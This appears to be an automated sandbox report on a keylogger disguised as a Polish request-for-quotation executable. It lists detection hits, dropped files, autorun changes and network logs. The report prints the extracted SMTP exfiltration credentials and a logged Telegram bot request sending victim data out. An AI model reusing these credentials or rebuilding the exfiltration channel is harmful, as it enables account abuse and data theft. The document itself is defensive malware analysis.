Author: Max Altgelt (Nextron Systems): Data: Command: "c:\users\user\desktop\zapytanie ofertowe st-2024-s315 cpa9170385.exe " , CommandLine: "c:\users\user\desktop\zapytanie ofertowe st-2024-s315 cpa9170385.exe " , CommandLine|base64offset|contains: , Image: C:\Users\user\Desktop\zapytanie ofertowe st-2024-s315 cpa9170385.exe , NewProcessName: C:\Users\user\Desktop\zapytanie ofertowe st-2024-s315 cpa9170385.exe , OriginalFileName: C:\Users\user\Desktop\zapytanie ofertowe st-2024-s315 cpa9170385.exe , ParentCommandLine: "C:\Users\user\Desktop\ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.exe", ParentImage: C:\Users\user\Desktop\ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.exe, ParentProcessId: 1436, ParentProcessName: ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.exe, ProcessCommandLine: "c:\users\user\desktop\zapytanie ofertowe st-2024-s315 cpa9170385.exe " , ProcessId: 1088, ProcessName: zapytanie ofertowe st-2024-s315 cpa9170385.exe

Sigma detected: Suspicious Outbound SMTP Connections

Source: Network Connection

Author: frack113: Data: DestinationIp: 212.44.112.138, DestinationIsIpv6: false, DestinationPort: 587, EventID: 3, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe, Initiated: true, ProcessId: 5568, Protocol: tcp, SourceIp: 192.168.2.5, SourceIsIpv6: false, SourcePort: 49778

Sigma detected: Uncommon Svchost Parent Process

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: c:\windows\system\svchost.exe, CommandLine: c:\windows\system\svchost.exe, CommandLine|base64offset|contains: , Image: C:\Windows\System\svchost.exe, NewProcessName: C:\Windows\System\svchost.exe, OriginalFileName: C:\Windows\System\svchost.exe, ParentCommandLine: c:\windows\system\spoolsv.exe SE, ParentImage: C:\Windows\System\spoolsv.exe, ParentProcessId: 5356, ParentProcessName: spoolsv.exe, ProcessCommandLine: c:\windows\system\svchost.exe, ProcessId: 6984, ProcessName: svchost.exe

Sigma detected: Wow6432Node CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: c:\windows\system\explorer.exe RO, EventID: 13, EventType: SetValue, Image: C:\Windows\System\explorer.exe, ProcessId: 2920, TargetObject: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\Explorer

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: c:\windows\system\svchost.exe, CommandLine: c:\windows\system\svchost.exe, CommandLine|base64offset|contains: , Image: C:\Windows\System\svchost.exe, NewProcessName: C:\Windows\System\svchost.exe, OriginalFileName: C:\Windows\System\svchost.exe, ParentCommandLine: c:\windows\system\spoolsv.exe SE, ParentImage: C:\Windows\System\spoolsv.exe, ParentProcessId: 5356, ParentProcessName: spoolsv.exe, ProcessCommandLine: c:\windows\system\svchost.exe, ProcessId: 6984, ProcessName: svchost.exe

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-29T13:08:03.518436+0100	2803305	3	Unknown Traffic	192.168.2.5	49708	188.114.96.3	443	TCP
2024-10-29T13:08:07.209909+0100	2803305	3	Unknown Traffic	192.168.2.5	49713	188.114.97.3	443	TCP
2024-10-29T13:08:08.838907+0100	2803305	3	Unknown Traffic	192.168.2.5	49715	188.114.97.3	443	TCP
2024-10-29T13:08:12.358955+0100	2803305	3	Unknown Traffic	192.168.2.5	49721	188.114.97.3	443	TCP
2024-10-29T13:08:14.572060+0100	2803305	3	Unknown Traffic	192.168.2.5	49725	188.114.97.3	443	TCP

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-29T13:08:00.817344+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	49705	132.226.247.73	80	TCP
2024-10-29T13:08:02.910971+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	49705	132.226.247.73	80	TCP
2024-10-29T13:08:04.656945+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	49709	132.226.247.73	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\icsys.icn.exe	Avira: detection malicious, Label: TR/Patched.Ren.Gen
Source: C:\Windows\System\svchost.exe	Avira: detection malicious, Label: TR/Patched.Ren.Gen
Source: C:\Users\user\AppData\Local\stsys.exe	Avira: detection malicious, Label: TR/Patched.Ren.Gen
Source: C:\Windows\System\spoolsv.exe	Avira: detection malicious, Label: TR/Patched.Ren.Gen
Source: C:\Users\user\AppData\Roaming\mrsys.exe	Avira: detection malicious, Label: TR/Patched.Ren.Gen
Source: C:\Windows\System\explorer.exe	Avira: detection malicious, Label: TR/Patched.Ren.Gen

Found malware configuration

Source: 00000001.00000002.2058258965.0000000003B00000.00000004.00001000.00020000.00000000.sdmp	Malware Configuration Extractor: Snake Keylogger {"Exfil Mode": "SMTP", "Username": "spletnastran@tlakovec.si", "Password": "@nartsantelps", "Host": "mail.tlakovec.si", "Port": "587", "Version": "4.4"}
Source: 1.2.zapytanie ofertowe st-2024-s315 cpa9170385.exe .3b00000.1.raw.unpack	Malware Configuration Extractor: VIP Keylogger {"Exfil Mode": "SMTP", "Email ID": "spletnastran@tlakovec.si", "Password": "@nartsantelps", "Host": "mail.tlakovec.si", "Port": "587", "Version": "4.4"}

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.9% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\icsys.icn.exe	Joe Sandbox ML: detected
Source: C:\Windows\System\svchost.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\stsys.exe	Joe Sandbox ML: detected
Source: C:\Windows\System\spoolsv.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Roaming\mrsys.exe	Joe Sandbox ML: detected
Source: C:\Users\user\Desktop\zapytanie ofertowe st-2024-s315 cpa9170385.exe	Joe Sandbox ML: detected
Source: C:\Windows\System\explorer.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.exe

Joe Sandbox ML: detected

Location Tracking

Tries to detect the country of the analysis system (by using the IP)

Source: unknown

DNS query: name: reallyfreegeoip.org

Source: ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49706 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 192.168.2.5:49718 -> 188.114.97.3:443 version: TLS 1.0

Source: unknown	HTTPS traffic detected: 51.81.194.202:443 -> 192.168.2.5:49719 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.5:49724 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.5:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.5:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.69.42.241:443 -> 192.168.2.5:60455 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.5:60467 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.5:60480 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.5:60489 version: TLS 1.2

Source:	Binary string: wntdll.pdbUGP source: zapytanie ofertowe st-2024-s315 cpa9170385.exe , 00000001.00000003.2051235689.00000000046E0000.00000004.00001000.00020000.00000000.sdmp, zapytanie ofertowe st-2024-s315 cpa9170385.exe , 00000001.00000003.2047915436.0000000004540000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: zapytanie ofertowe st-2024-s315 cpa9170385.exe , 00000001.00000003.2051235689.00000000046E0000.00000004.00001000.00020000.00000000.sdmp, zapytanie ofertowe st-2024-s315 cpa9170385.exe , 00000001.00000003.2047915436.0000000004540000.00000004.00001000.00020000.00000000.sdmp

Source: C:\Users\user\Desktop\zapytanie ofertowe st-2024-s315 cpa9170385.exe	Code function: 1_2_00452126 FindFirstFileW,Sleep,FindNextFileW,FindClose,	1_2_00452126
Source: C:\Users\user\Desktop\zapytanie ofertowe st-2024-s315 cpa9170385.exe	Code function: 1_2_0045C999 FindFirstFileW,FindNextFileW,FindClose,	1_2_0045C999
Source: C:\Users\user\Desktop\zapytanie ofertowe st-2024-s315 cpa9170385.exe	Code function: 1_2_00436ADE GetFileAttributesW,FindFirstFileW,FindClose,	1_2_00436ADE
Source: C:\Users\user\Desktop\zapytanie ofertowe st-2024-s315 cpa9170385.exe	Code function: 1_2_00434BEE FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	1_2_00434BEE
Source: C:\Users\user\Desktop\zapytanie ofertowe st-2024-s315 cpa9170385.exe	Code function: 1_2_0045DD7C FindFirstFileW,FindClose,	1_2_0045DD7C
Source: C:\Users\user\Desktop\zapytanie ofertowe st-2024-s315 cpa9170385.exe	Code function: 1_2_0044BD29 _wcscat,_wcscat,__wsplitpath,FindFirstFileW,CopyFileW,_wcscpy,_wcscat,_wcscat,lstrcmpiW,DeleteFileW,MoveFileW,CopyFileW,DeleteFileW,CopyFileW,FindClose,MoveFileW,FindNextFileW,FindClose,	1_2_0044BD29
Source: C:\Users\user\Desktop\zapytanie ofertowe st-2024-s315 cpa9170385.exe	Code function: 1_2_00436D2D FindFirstFileW,CreateFileW,SetFileTime,CloseHandle,SetFileTime,CloseHandle,	1_2_00436D2D
Source: C:\Users\user\Desktop\zapytanie ofertowe st-2024-s315 cpa9170385.exe	Code function: 1_2_00442E1F SetCurrentDirectoryW,FindFirstFileW,SetCurrentDirectoryW,FindFirstFileW,FindNextFileW,FindClose,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	1_2_00442E1F
Source: C:\Users\user\Desktop\zapytanie ofertowe st-2024-s315 cpa9170385.exe	Code function: 1_2_00475FE5 FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	1_2_00475FE5
Source: C:\Users\user\Desktop\zapytanie ofertowe st-2024-s315 cpa9170385.exe	Code function: 1_2_0044BF8D _wcscat,__wsplitpath,FindFirstFileW,_wcscpy,_wcscat,_wcscat,DeleteFileW,FindNextFileW,FindClose,FindClose,	1_2_0044BF8D

Source: C:\Users\user\Desktop\ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.exe	Code function: 4x nop then push ebp	0_2_00417143
Source: C:\Users\user\Desktop\ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.exe	Code function: 4x nop then push ebp	0_2_00416130
Source: C:\Users\user\Desktop\ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.exe	Code function: 4x nop then push ebp	0_2_004171D7
Source: C:\Users\user\Desktop\ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.exe	Code function: 4x nop then push ebp	0_2_004179F2
Source: C:\Users\user\Desktop\ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.exe	Code function: 4x nop then push ebp	0_2_00417190
Source: C:\Users\user\Desktop\ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.exe	Code function: 4x nop then push ebp	0_2_0041725A
Source: C:\Users\user\Desktop\ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.exe	Code function: 4x nop then push ebp	0_2_004172E5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 0529F8E9h	10_2_0529F640
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 0529FD41h	10_2_0529FA98
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 058631E0h	10_2_05862DBF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 058631E0h	10_2_05862DC8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 0586D7F9h	10_2_0586D550
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 0586CF49h	10_2_0586CCA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 0586F209h	10_2_0586EF60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 0586E959h	10_2_0586E6B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 0586E0A9h	10_2_0586DE00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 0586DC51h	10_2_0586D9A8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 058631E0h	10_2_0586310E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 05862C19h	10_2_05862968
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 0586D3A1h	10_2_0586D0F8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 0586FAB9h	10_2_0586F810
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	10_2_05860040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 0586F661h	10_2_0586F3B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 0586EDB1h	10_2_0586EB08
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 05860D0Dh	10_2_05860B30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 05861697h	10_2_05860B30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 0586E501h	10_2_0586E258

Networking

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\System\explorer.exe	Network Connect: 108.177.15.82 80	Jump to behavior
Source: C:\Windows\System\explorer.exe	Network Connect: 51.81.194.202 443	Jump to behavior
Source: C:\Windows\System\explorer.exe	Network Connect: 142.251.168.82 80	Jump to behavior
Source: C:\Windows\System\explorer.exe	Network Connect: 64.233.166.82 80	Jump to behavior

Uses the Telegram API (likely for C&C communication)

Source: unknown

DNS query: name: api.telegram.org

Yara detected Generic Downloader

Source: Yara match	File source: 1.2.zapytanie ofertowe st-2024-s315 cpa9170385.exe .3b00000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.2058258965.0000000003B00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Source: global traffic

TCP traffic: 192.168.2.5:49778 -> 212.44.112.138:587

Source: global traffic

TCP traffic: 192.168.2.5:60451 -> 162.159.36.2:53

Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.72 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.72 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.72 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.72 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.72 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.72 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.72 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.72 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.72 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:849224%0D%0ADate%20and%20Time:%2029/10/2024%20/%2023:58:44%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20849224%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 149.154.167.220 149.154.167.220
Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3
Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3

Source: Joe Sandbox View	ASN Name: TELEGRAMRU TELEGRAMRU
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View	ASN Name: DHH-ASSI DHH-ASSI

Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: unknown	DNS query: name: checkip.dyndns.org
Source: unknown	DNS query: name: reallyfreegeoip.org
Source: unknown	DNS query: name: reallyfreegeoip.org

Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:49709 -> 132.226.247.73:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:49705 -> 132.226.247.73:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49708 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49713 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49715 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49721 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49725 -> 188.114.97.3:443

Source: global traffic

TCP traffic: 192.168.2.5:49778 -> 212.44.112.138:587

Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveHost: zxq.net
Source: global traffic	HTTP traffic detected: GET /what-happened-to-the-old-zxq-website/ HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveHost: zxq.net
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveHost: zxq.net
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveHost: zxq.net
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveHost: zxq.net
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveHost: zxq.net
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveHost: zxq.net
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveHost: zxq.net
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveHost: zxq.net
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveHost: zxq.net
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveHost: zxq.net
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveHost: zxq.net
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveHost: zxq.net
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveHost: zxq.net
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveHost: zxq.net
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveHost: zxq.net
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveHost: zxq.net
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveHost: zxq.net
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveHost: zxq.net
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveHost: zxq.net
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveHost: zxq.net
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveHost: zxq.net
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveHost: zxq.net
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveHost: zxq.net
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveHost: zxq.net
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveHost: zxq.net
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveHost: zxq.net
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveHost: zxq.net
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveHost: zxq.net
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveHost: zxq.net
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveHost: zxq.net
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveHost: zxq.net
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveHost: zxq.net
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveHost: zxq.net
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveHost: zxq.net
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveHost: zxq.net
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveHost: zxq.net
